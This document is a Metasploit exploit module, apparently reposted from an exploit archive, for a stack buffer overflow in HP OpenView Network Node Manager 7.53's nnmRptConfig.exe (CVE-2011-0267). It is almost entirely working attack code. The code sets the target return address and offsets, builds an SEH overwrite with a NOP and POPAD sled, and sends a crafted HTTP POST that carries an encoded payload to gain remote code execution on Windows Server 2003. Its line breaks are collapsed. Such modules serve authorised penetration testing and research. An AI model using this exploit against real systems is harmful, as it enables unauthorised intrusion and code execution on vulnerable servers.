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# Title : HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow
# Published : 2011-03-24
# Author : metasploit
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### $Id: hp_nnm_nnmrptconfig_schdparams.rb 12121 2011-03-24 00:49:33Z swtornio $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote	Rank = NormalRanking	include Msf::Exploit::Remote::HttpClient	include Msf::Exploit::Remote::Seh	def initialize(info={})		super(update_info(info,			'Name'        => "HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow",			'Description' => %q{				This module exploits NNM's nnmRptConfig.exe. Similar to other NNM CGI bugs,				the overflow occurs during a ov.sprintf_new() call, which allows an attacker to				overwrite data on the stack, and gain arbitrary code execution.			},			'License'     => MSF_LICENSE,			'Version'     => "$Revision: 12121 $",			'Author'      => ['sinn3r'],			'References'  =>				[					['CVE', '2011-0267'],					['OSVDB', '70473'],					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-009/'],				],			'Payload' =>				{					'BadChars' => "/x00/x26/x2b",				},			'DefaultOptions' =>				{					'ExitFunction' => "seh",					'AutoRunScript' => 'migrate -f',				},			'Platform' => 'win',			'Targets'  =>				[					[						'NNM 7.53 - Windows Server 2003 Ent', {							'Ret'           => 0x5A30532D,  #POP/POP/RET OvWww.dll							'Offset'        => 46919,       #Offset to SEH chain							'Pops'          => 13,          #Number of POPADs needed to find a bigger space with our payload							'Payloadoffset' => 57,          #Offset to the payload					}],				],			'DisclosureDate' => "Jan 10 2011"))			register_options( [Opt::RPORT(80)], self.class )	end	def exploit		nops = make_nops(1000)*70		sploit  = nops[0, target['Offset']]		sploit << generate_seh_record(target.ret)		sploit << "/x61"*target['Pops']		sploit << "/xff/xe1"  #JMP ECX		sploit << nops[0, target['Payloadoffset']]		sploit << payload.encoded		sploit << "/x44"*(70000-sploit.length)		data  = "Content&Action=Create&"		data << "Template=Avail/CRAvail&"		data << "Operation=Apply&"		data << "Params=schdParams+nameParams&"		data << "schdParams=#{sploit}%7Cmonthtodate&"		data << "nameParams=text1%3DAAAA%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"		connect		send_request_raw({			'uri'     => '/OvCgi/nnmRptConfig.exe',			'data'    => data,			'version' => '1.1',			'method'  => 'POST',			'headers' => {				'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',				'Accept-Language' => 'en-us,en;q=0.5',				'Accept-Encoding' => 'gzip,deflate',				'Accept-Chrarset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',				'Keep-Alive'      => '300',				'Connection'      => 'Keep-Alive',				'Cache-Control'   => 'mag-age=0',				'Content-Length'  => data.length,				'Content-Type'    => 'application/x-www-form-urlencoded',			}		}, 3)		handler		disconnect	endend